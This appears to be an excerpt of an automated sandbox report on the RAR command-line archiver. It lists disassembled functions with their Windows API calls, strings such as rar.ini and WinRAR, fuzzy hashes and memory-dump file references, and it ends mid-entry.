String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: aceb63b23cea0b3a2378316d3a96d63ee348c74f5bfa895d6c896433274085d2
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: CF519636A0CE5187EA24EF25E46437AE360FF45BA4F840135DB5E47A60EF3CE549CA60

Function 00007FF71D2D1E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF71D2D1F4A
GetLastError.KERNEL32 ref: 00007FF71D2D1F59
CreateFileW.KERNELBASE ref: 00007FF71D2D1F99
GetLastError.KERNEL32 ref: 00007FF71D2D1FA2
SetFileTime.KERNEL32 ref: 00007FF71D2D1FF1

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: 59e2628b04a0587b1aa267041c1eb1adec6c5040504bdb9bacc65310ecb89714
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: AE412673A1CA8146FB619B24E5147AAE691A745BB8F940338DE7D03AC4EF7CC44D8F10

Function 00007FF71D2C6AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2C6C13

Strings

rar.ini, xrefs: 00007FF71D2C6B37
switches=, xrefs: 00007FF71D2C6B80
switches_%ls=, xrefs: 00007FF71D2C6C03

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: ba54b0a45aad077b567b162562e51e33570a80f3449b85d36f7c9dd73e375bab
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: CE419222A1CA8285EA24FB25D4101F9A3A0FB447B4FC40535EA6D076E5FF7CE959CB20

Function 00007FF71D2E7E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71D2FB470: GetModuleHandleW.KERNEL32 ref: 00007FF71D2FB488
Part of subcall function 00007FF71D2FB470: GetProcAddress.KERNEL32 ref: 00007FF71D2FB4A0
Part of subcall function 00007FF71D2FB470: GetProcAddress.KERNEL32 ref: 00007FF71D2FB4D5

Part of subcall function 00007FF71D2C7A68: setbuf.LIBCMT ref: 00007FF71D2C7A7B
Part of subcall function 00007FF71D2C7A68: setbuf.LIBCMT ref: 00007FF71D2C7A8F

SetErrorMode.KERNELBASE ref: 00007FF71D2E7E5D
GetModuleHandleW.KERNEL32 ref: 00007FF71D2E7E65

Part of subcall function 00007FF71D2F48CC: GetVersionExW.KERNEL32(?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F496A
Part of subcall function 00007FF71D2F48CC: LoadLibraryW.KERNELBASE(?,?,?,00007FF71D2E7E7D), ref: 00007FF71D2F4993

new.LIBCMT ref: 00007FF71D2E7EA8

Strings

rar.lng, xrefs: 00007FF71D2E7E7D

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: 0cdb54aa40ba2ca26f1ddd7e9615ca47f74f76cd710d464ec92b81866409da64
Instruction ID: ae349736be65872cbae204d877d0695e5db00e5d02710ed45664ef73edded73f
Opcode Fuzzy Hash: 0cdb54aa40ba2ca26f1ddd7e9615ca47f74f76cd710d464ec92b81866409da64
Instruction Fuzzy Hash: 1C419031E1CE8281FA10BB20A8111FAE7A19F45774FD80538D92D172D6FE2DA80E8F70

Function 00007FF71D2E40A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF71D2E4432,?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2E40C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2E40DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF71D2E40F1

Part of subcall function 00007FF71D2D3458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF71D2E413F,?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2D34A0
Part of subcall function 00007FF71D2D3458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF71D2E413F,?,?,?,?,00000800,00000000,00000000,00007FF71D2E38CB,?,?,?,00007FF71D2E41EC), ref: 00007FF71D2D34D5

Strings

WinRAR, xrefs: 00007FF71D2E410F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: 5cd8b26f93c9e0ced65172830cddeddee5e49cf1e4fa875e1d07ca3b5bcd49d3
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 63215126A0CF4280EA50AF22F9502BAD361AF89BE1B985035DF5E57755FE3CD4498B10

Function 00007FF71D31978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF71D313CEF,?,?,00000000,00007FF71D313CAA,?,?,00000000,00007FF71D313FD9), ref: 00007FF71D3197A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF71D313CEF,?,?,00000000,00007FF71D313CAA,?,?,00000000,00007FF71D313FD9), ref: 00007FF71D319807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF71D313CEF,?,?,00000000,00007FF71D313CAA,?,?,00000000,00007FF71D313FD9), ref: 00007FF71D319841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF71D313CEF,?,?,00000000,00007FF71D313CAA,?,?,00000000,00007FF71D313FD9), ref: 00007FF71D31986B

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: a12856e8b8df37c0e9296dc45122ea0f9d47de742e5bff4130288fa7dde4c90a
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: 34216831E1CB52C1E6609F126440129E6A5FF44FE0F884139DE5D67B94EF3CD4598B64

Function 00007FF71D2D1C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF71D2D21A7,00000000,00000028,?,00007FF71D2C7792), ref: 00007FF71D2D1C97
ReadFile.KERNELBASE ref: 00007FF71D2D1CB6
GetLastError.KERNEL32 ref: 00007FF71D2D1CEA
GetLastError.KERNEL32 ref: 00007FF71D2D1D08

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
Instruction ID: 249cfdc8e7171d4cc6213c13df15b2a1c98306aa7b16eec61a683c170f1df1e1
Opcode Fuzzy Hash: 3b78d4ed6aa6b5a120351a24eca7d2297273107fe5a6a7e720e5693830f3c1e4
Instruction Fuzzy Hash: 6921A432E0CD4681EA61AB11E010339E2A1BF45BB4FB04235DA7947AC5EF3DD48C8E31

Function 00007FF71D2C49F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

AFUM, xrefs: 00007FF71D2C4B8C
default.sfx, xrefs: 00007FF71D2C4AB0

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 528a53e84ad18d186db8caed8db04d64580e74db1f0b8bfa87c2de7208c9a4af
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: 9D81A721E1CE8240EA60BB1191502BAA3A0AF557A4FC44031DEAD076D5FF6DB98BCB70

Function 00007FF71D3165BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF71D31662E
GetFileType.KERNELBASE ref: 00007FF71D316644

Strings

@, xrefs: 00007FF71D31666F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: 8f94d3daa5a8e76732e800ec03e7919bb9ea36155f9d0f98dff3c89dbdea533e
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: A021D432E1CF43C1EB609B259890039EA55EB45774F68133DDA6E067D4EE3CE889E710

Function 00007FF71D2FB9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF71D2FB9F8
SetThreadPriority.KERNEL32 ref: 00007FF71D2FBA4E

Part of subcall function 00007FF71D2CCDA4: wcschr.LIBVCRUNTIME ref: 00007FF71D2CCE0F
Part of subcall function 00007FF71D2CCDA4: wcschr.LIBVCRUNTIME ref: 00007FF71D2CCE22

Part of subcall function 00007FF71D2CCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF71D2CCEDE

Strings

CreateThread failed, xrefs: 00007FF71D2FBA06

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: b2b16bfd6593cf7b9c6370f62c08ac22970873fbc8274f94ba497c75bed2c610
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: AD115E3290CE42D2E604FB11E8411AAF360FB847A4F944435DA9D03659FF3CE94ACB10

Function 00007FF71D2FBB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF71D2FBB79), ref: 00007FF71D2FBBB9
SetEvent.KERNEL32 ref: 00007FF71D2FBBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF71D2FBBD8

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: beea13c800db099ea85de313cc2aaf32c1680b7a052aad403b756bade8f1227a
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 1BF06226A0CF4682DA20AF11E5400B9E371FF89BE9F840131DE9D06669EE2CD94D8F10

Function 00007FF71D2C7B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF71D2C7A9E), ref: 00007FF71D2C7B4A
GetFileType.KERNELBASE(?,?,?,00007FF71D2C7A9E), ref: 00007FF71D2C7B56
GetConsoleMode.KERNEL32(?,?,?,00007FF71D2C7A9E), ref: 00007FF71D2C7B69

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ConsoleFileHandleModeType
String ID:
API String ID: 4141822043-0
Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction ID: 1a9df39a601b171961223706ea15a7a02e6d024eaf90c49da6f9e299deea39ac
Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
Instruction Fuzzy Hash: 84E0EC24E1DE0282EE686761A865179D252AF59BA1F941038DA1F8A750FE3CD98D8B20

Function 00007FF71D312488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF71D31246C), ref: 00007FF71D3124B0
TerminateProcess.KERNEL32(?,?,?,00007FF71D31246C), ref: 00007FF71D3124BB
ExitProcess.KERNEL32 ref: 00007FF71D3124CA

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction ID: 23a12e08778a9b31063482101191170db2fe87e17cf4f28f3b0db48e1f920d01
Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
Instruction Fuzzy Hash: C6E01A34F0CB26C2EB547B609882779E352AF95761F40543CCC0E02392FE3DA40C8A60

Function 00007FF71D2D4044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON

Download Yara Rule

APIs

